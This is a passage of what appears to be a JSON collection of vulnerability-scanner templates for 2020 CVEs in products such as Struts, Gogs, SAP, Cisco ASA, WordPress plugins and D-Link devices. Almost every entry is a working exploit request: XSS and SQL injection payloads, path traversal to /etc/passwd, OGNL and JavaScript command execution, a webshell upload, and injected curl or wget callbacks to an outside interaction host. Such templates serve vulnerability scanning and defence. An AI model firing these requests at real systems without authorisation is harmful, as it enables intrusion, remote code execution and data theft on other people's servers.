Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/error?msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-6308","info":{"name":"SAP BusinessObjects Business Intelligence Platform - Blind Server-Side Request Forgery","severity":"medium"},"requests":[{"raw":["POST /AdminTools/querybuilder/logon?framework= HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naps={{interactsh-url}}&usr=anything&pwd=anything&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"location","words":["{{BaseURL}}/AdminTools/querybuilder/logonform.jsp"]}]}]},{"id":"CVE-2020-3452","info":{"name":"Cisco Adaptive Security Appliance (ASA)/Firepower Threat Defense (FTD) - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../","{{BaseURL}}/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua"],"matchers":[{"type":"word","words":["INTERNAL_PASSWORD_ENABLED","CONF_VIRTUAL_KEYBOARD"],"condition":"and"}]}]},{"id":"CVE-2020-13820","info":{"name":"Extreme Management Center 8.4.1.24 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/OneView/view/center?a%27+type%3d+%27text%27+autofocus+onfocus%3d%27alert(document.domain)"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["autofocus onfocus='alert(document.domain)","Extreme Management Center"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-15867","info":{"name":"Gogs 0.5.5 - 0.12.2 - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /user/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}\n","GET /repo/create HTTP/1.1\nHost: {{Hostname}}\n","POST /repo/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&user_id=1&repo_name={{randstr}}&private=on&description=&gitignores=&license=&readme=Default&auto_init=on\n","POST /{{username}}/{{randstr}}/settings/hooks/git/post-receive HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&content=%23%21%2Fbin%2Fbash%0D%0Acurl+{{interactsh-url}}\n","GET /{{username}}/{{randstr}}/_new/master HTTP/1.1\nHost: {{Hostname}}\n","POST /{{username}}/{{randstr}}/_new/master HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body_1","words":["content=\"Gogs"]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name=\"_csrf\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"auth_csrf","group":1,"regex":["name=\"_csrf\" content=\"(.*)\""],"internal":true},{"type":"regex","name":"last_commit","group":1,"regex":["name=\"last_commit\" value=\"(.*)\""],"internal":true}]}]},{"id":"CVE-2020-35848","info":{"name":"Agentejo Cockpit <0.12.0 - NoSQL Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/auth/newpassword"],"body":"{\n  \"token\": {\n    \"$func\": \"var_dump\"\n  }\n}\n","headers":{"Content-Type":"application/json"},"matchers":[{"type":"regex","part":"body","regex":["string\\([0-9]{1,3}\\)(\\s)?\"rp-([a-f0-9-]+)\""]}]}]},{"id":"CVE-2020-6207","info":{"name":"SAP Solution Manager 7.2 - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /EemAdminService/EemAdmin HTTP/1.1\nHost: {{Hostname}}\nSOAPAction: \"\"\nContent-Type: text/xml; charset=UTF-8\nConnection: close\n\n<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:adm=\"http://sap.com/smd/eem/admin/\"><soapenv:Header/><soapenv:Body><adm:getAllAgentInfo/></soapenv:Body></soapenv:Envelope>\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[":Envelope",":Body",":getAllAgentInfoResponse"],"condition":"and"},{"type":"word","part":"header","words":["text/xml","SAP NetWeaver Application Server"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-7136","info":{"name":"HPE Smart Update Manager < 8.5.6 - Remote Unauthorized Access","severity":"critical"},"requests":[{"raw":["POST /session/create HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json\n\n{\"hapi\":{\"username\":\"Administrator\",\"password\":\"any_password\",\"language\":\"en\",\"mode\":\"gui\", \"usesshkey\":true, \"privatekey\":\"any_privateky\", \"passphrase\":\"any_passphase\",\"settings\":{\"output_filter\":\"passed\",\"port_number\":\"444\"}}}\n","GET /session/{{sessionid}}/node/index HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"body","words":["hmessage","Command completed successfully.","node_name"],"condition":"and"}],"extractors":[{"type":"regex","name":"sessionid","group":1,"regex":["\"sessionId\":\"([a-z0-9.]+)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2020-7796","info":{"name":"Zimbra Collaboration Suite < 8.8.15 Patch 7 - Server-Side Request Forgery","severity":"critical"},"requests":[{"raw":["GET /zimlet/com_zimbra_webex/httpPost.jsp?companyId=http://{{interactsh-url}}%23 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2020-9425","info":{"name":"rConfig <3.9.4 - Sensitive Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/settings.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["defaultNodeUsername","defaultNodePassword"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8191","info":{"name":"Citrix ADC/Gateway - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /menu/stapp HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nX-NITRO-USER: xpyZxwy6\n\nsid=254&pe=1,2,3,4,5&appname=%0a&au=1&username=nsroot\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-22208","info":{"name":"74cms - ajax_street.php 'x' SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/plus/ajax_street.php?act=alphabet&x=11\ufffd%27%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,md5({{num}}),9%20from%20qs_admin#"],"matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]}]}]},{"id":"CVE-2020-14408","info":{"name":"Agentejo Cockpit 0.10.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/auth/login?to=/92874%27;alert(document.domain)//280"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["redirectTo = '/92874';alert(document.domain)//280';"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-28976","info":{"name":"WordPress Canto 1.3.0 - Blind Server-Side Request Forgery","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/canto/includes/lib/detail.php?subdomain={{interactsh-url}}","{{BaseURL}}/wp-content/plugins/canto/includes/lib/get.php?subdomain={{interactsh-url}}","{{BaseURL}}/wp-content/plugins/canto/includes/lib/tree.php?subdomain={{interactsh-url}}"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["null"]},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-23972","info":{"name":"Joomla! Component GMapFP 3.5 - Arbitrary File Upload","severity":"high"},"requests":[{"raw":["POST /index.php?option={{component}}&controller=editlieux&tmpl=component&task=upload_image HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: {{BaseURL}}\nConnection: close\n\n------WebKitFormBoundarySHHbUsfCoxlX1bpS\nContent-Disposition: form-data; name=\"option\"\n\ncom_gmapfp\n------WebKitFormBoundarySHHbUsfCoxlX1bpS\nContent-Disposition: form-data; name=\"image1\"; filename=\"{{name}}.html.gif\"\nContent-Type: text/html\n\nprojectdiscovery\n\n------WebKitFormBoundarySHHbUsfCoxlX1bpS\nContent-Disposition: form-data; name=\"no_html\"\n\nno_html\n------WebKitFormBoundarySHHbUsfCoxlX1bpS--\n"],"payloads":{"component":["com_gmapfp","comgmapfp"]},"extractors":[{"type":"regex","regex":["window\\.opener\\.(changeDisplayImage|addphoto)\\(\"(.*?)\"\\);"],"part":"body"}]}]},{"id":"CVE-2020-17456","info":{"name":"SEOWON INTECH SLC-130 & SLR-120S - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /cgi-bin/login.cgi HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nbrowserTime=081119502020¤tTime=1597159205&expires=Wed%252C%2B12%2BAug%2B2020%2B15%253A20%253A05%2BGMT&Command=Submit&user=admin&password=admin\n","POST /cgi-bin/system_log.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nCommand=Diagnostic&traceMode=ping&reportIpOnly=&pingIpAddr=;curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'&pingPktSize=56&pingTimeout=30&pingCount=4&maxTTLCnt=30&queriesCnt=3&reportIpOnlyCheckbox=on&logarea=com.cgi&btnApply=Apply&T=1646950471018\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: {{useragent}}"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8771","info":{"name":"WordPress Time Capsule < 1.21.16 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nConnection: close\nAccept: */*\n\nIWP_JSON_PREFIX\n","GET /wp-admin/index.php HTTP/1.1\nHost: {{Hostname}}\nConnection: close\nAccept: */*\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
","
Dashboard
"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["wordpress_[a-z0-9]+=([A-Za-z0-9%]+)"],"part":"header"}]}]},{"id":"CVE-2020-26073","info":{"name":"Cisco SD-WAN vManage Software - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/dataservice/disasterrecovery/download/token/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2Fetc%2Fpasswd"],"matchers-condition":"and","matchers":[{"type":"status","status":[200]},{"type":"regex","regex":["root:.*:0:0:"],"part":"body"}]}]},{"id":"CVE-2020-20300","info":{"name":"WeiPHP 5.0 - SQL Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5('999999'),0x7e),1)--+ "],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["52c69e3a57331081823331c4e69d3f2"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2020-35846","info":{"name":"Agentejo Cockpit < 0.11.2 - NoSQL Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/auth/check"],"body":"{\n  \"auth\": {\n    \"user\": {\n      \"$eq\": \"admin\"\n    },\n    \"password\": [\n      0\n    ]\n  }\n}\n","headers":{"Content-Type":"application/json"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["password_verify() expects parameter"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-13937","info":{"name":"Apache Kylin - Exposed Configuration File","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/kylin/api/admin/config"],"headers":{"Content-Type":"application/json"},"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"word","part":"body","words":["config","kylin.metadata.url"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11530","info":{"name":"WordPress Chop Slider 3 - Blind SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout 10s\nGET /wp-content/plugins/chopslider/get_script/index.php?id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))A) HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"application/javascript\")","contains(body, \"$(document).ready(function()\")"],"condition":"and"}]}]},{"id":"CVE-2020-23575","info":{"name":"Kyocera Printer d-COPIA253MF - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["root:.*:0:0:","bin:.*:1:1"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-36112","info":{"name":"CSE Bookstore 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET /ebook/bookPerPub.php?pubid=4' HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"body","words":["get book price failed! You have an error in your SQL syntax","Can't retrieve data You have an error in your SQL syntax"],"condition":"or"}]}]},{"id":"CVE-2020-35476","info":{"name":"OpenTSDB <=2.4.0 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://{{interactsh-url}}%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["plotted","timing","cachehit"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24550","info":{"name":"EpiServer Find <13.2.7 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/find_v2/_click?_t_id=&_t_q=&_t_hit.id=&_t_redirect=https://interact.sh"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Location: https://interact.sh"]},{"type":"status","status":[301]}]}]},{"id":"CVE-2020-26217","info":{"name":"XStream <1.4.14 - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n  \n    \n      0\n      \n        \n          \n            text/plain\n            \n              \n                \n                  \n                    0\n                    -1\n                    1\n                    \n                      \n                        \n                          curl\n                          http://{{interactsh-url}}\n                        \n                      \n                    \n                  \n                  \n                    \n                      java.lang.ProcessBuilder\n                      start\n                      \n                    \n                    start\n                  \n                  \n                \n                KEYS\n              \n              \n                \n                0\n                0\n                0\n              \n            \n            false\n          \n          \n        \n        0\n      \n    \n    test\n  \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}]}]},{"id":"CVE-2020-29164","info":{"name":"PacsOne Server <7.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["1"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-15227","info":{"name":"Nette Framework - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/nette.micro/?callback=shell_exec&cmd=cat%20/etc/passwd&what=-1"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35984","info":{"name":"Rukovoditel <= 2.7.2 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=users_alerts/users_alerts&action=save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0¬es=test\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2020-17530","info":{"name":"Apache Struts 2.0.0-2.5.25 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2020-35598","info":{"name":"Advanced Comment System 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/advanced_component_system/index.php?ACS_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24589","info":{"name":"WSO2 API Manager <=3.1.0 - Blind XML External Entity Injection","severity":"critical"},"requests":[{"raw":["POST /carbon/generic/save_artifact_ajaxprocessor.jsp HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\npayload=<%3fxml+version%3d\"1.0\"+%3f>%25xxe%3b]>\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["Failed to install the generic artifact type"]}]}]},{"id":"CVE-2020-25213","info":{"name":"WordPress File Manager Plugin - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: multipart/form-data; boundary=------------------------ca81ac1fececda48\n\n--------------------------ca81ac1fececda48\nContent-Disposition: form-data; name=\"reqid\"\n\n17457a1fe6959\n--------------------------ca81ac1fececda48\nContent-Disposition: form-data; name=\"cmd\"\n\nupload\n--------------------------ca81ac1fececda48\nContent-Disposition: form-data; name=\"target\"\n\nl1_Lw\n--------------------------ca81ac1fececda48\nContent-Disposition: form-data; name=\"mtime[]\"\n\n1576045135\n--------------------------ca81ac1fececda48\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"poc.txt\"\nContent-Type: text/plain\n\npoc-test\n--------------------------ca81ac1fececda48--\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["poc.txt","added"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-28185","info":{"name":"TerraMaster TOS < 4.2.06 - User Enumeration","severity":"medium"},"requests":[{"raw":["GET /tos/index.php?user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /wizard/initialise.php HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nReferer: {{RootURL}}/tos/index.php?user/login\n\ntab=checkuser&username=admin\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["username","email","status"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","part":"body_2","regex":["\"username\":\"(.*?)\"","\"email\":\"(.*?)\""]}]}]},{"id":"CVE-2020-9047","info":{"name":"exacqVision Web Service - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/version.web"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["3.10.4.72058","3.12.4.76544","3.8.2.67295","7.0.2.81005","7.2.7.86974","7.4.3.89785","7.6.4.94391","7.8.2.97826","8.0.6.105408","8.2.2.107285","8.4.3.111614","8.6.3.116175","8.8.1.118913","9.0.3.124620","9.2.0.127940","9.4.3.137684","9.6.7.145949","9.8.4.149166","19.03.3.152166","19.06.4.157118","19.09.4.0","19.12.2.0","20.03.2.0","20.06.3.0"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-13945","info":{"name":"Apache APISIX - Insufficiently Protected Credentials","severity":"medium"},"requests":[{"raw":["POST /apisix/admin/routes HTTP/1.1\nHost: {{Hostname}}\nX-API-KEY: edd1c9f034335f136f87ad84b625c8f1\nContent-Type: application/json\n\n{\n  \"uri\":\"/{{randstr}}\",\n  \"script\":\"local _M = {} \\n function _M.access(conf, ctx) \\n local os = require('os')\\n local args = assert(ngx.req.get_uri_args()) \\n local f =        assert(io.popen(args.cmd, 'r'))\\n local s = assert(f:read('*a'))\\n ngx.say(s)\\n f:close()  \\n end \\nreturn _M\",\n  \"upstream\":{\n    \"type\":\"roundrobin\",\n    \"nodes\":{\n      \"interact.sh:80\":1\n    }\n  }\n}\n","GET /{{randstr}}?cmd=id HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["\"action\":\"create\"","\"script\":","\"node\":"],"condition":"and"},{"type":"status","status":[201]}],"extractors":[{"type":"regex","regex":["((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"]}]}]},{"id":"CVE-2020-24186","info":{"name":"WordPress wpDiscuz <=7.0.4 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /?p=1 HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nX-Requested-With: XMLHttpRequest\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary88AhjLimsDMHU1Ak\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}\n\n------WebKitFormBoundary88AhjLimsDMHU1Ak\nContent-Disposition: form-data; name=\"action\"\n\nwmuUploadFiles\n------WebKitFormBoundary88AhjLimsDMHU1Ak\nContent-Disposition: form-data; name=\"wmu_nonce\"\n\n{{wmuSecurity}}\n------WebKitFormBoundary88AhjLimsDMHU1Ak\nContent-Disposition: form-data; name=\"wmuAttachmentsData\"\n\nundefined\n------WebKitFormBoundary88AhjLimsDMHU1Ak\nContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\"rce.php\"\nContent-Type: image/png\n\n{{base64_decode('/9j/4WpFeGlmTU0q/f39af39Pv39/f39/f39/f2o/f39/cD9/f39/f39/f39/f/g/UpGSUb9/f39/9tD/f0M/QwK/f0=')}}\n\n------WebKitFormBoundary88AhjLimsDMHU1Ak\nContent-Disposition: form-data; name=\"postId\"\n\n1\n------WebKitFormBoundary88AhjLimsDMHU1Ak--\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["success\":true","fullname","shortname","url"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"wmuSecurity","group":1,"regex":["wmuSecurity\":\"([a-z0-9]+)"],"internal":true,"part":"body"},{"type":"regex","group":1,"regex":["\"url\":\"([a-z:\\\\/0-9-.]+)\""],"part":"body"}]}]},{"id":"CVE-2020-22211","info":{"name":"74cms - ajax_street.php 'key' SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,md5({{num}}),9%23"],"matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]}]}]},{"id":"CVE-2020-24903","info":{"name":"Cute Editor for ASP.NET 6.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/CuteSoft_Client/CuteEditor/Template.aspx?Referrer=XSS\";>"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
","System.Web"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-27361","info":{"name":"Akkadian Provisioning Manager 4.50.02 - Sensitive Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/pme/media/"],"matchers-condition":"and","matchers":[{"type":"word","words":["Index of /pme/media","Parent Directory"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-27982","info":{"name":"IceWarp WebMail 11.4.5.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-2551","info":{"name":"Oracle WebLogic Server - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/console/login/LoginForm.jsp"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["10.3.6.0","12.1.3.0","12.2.1.3","12.2.1.4"],"condition":"or"},{"type":"word","part":"body","words":["WebLogic"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24391","info":{"name":"Mongo-Express - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /checkValid HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ndocument=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F{{randstr}}.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++\n","GET /public/css/{{randstr}}.css HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"body_3","regex":["((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"]}]}]},{"id":"CVE-2020-25506","info":{"name":"D-Link DNS-320 - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /cgi-bin/system_mgr.cgi? HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n\nC1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'`\n","POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'` HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: {{useragent}}"]}]}]},{"id":"CVE-2020-14179","info":{"name":"Atlassian Jira Server/Data Center <8.5.8/8.6.0 - 8.11.1 - Information 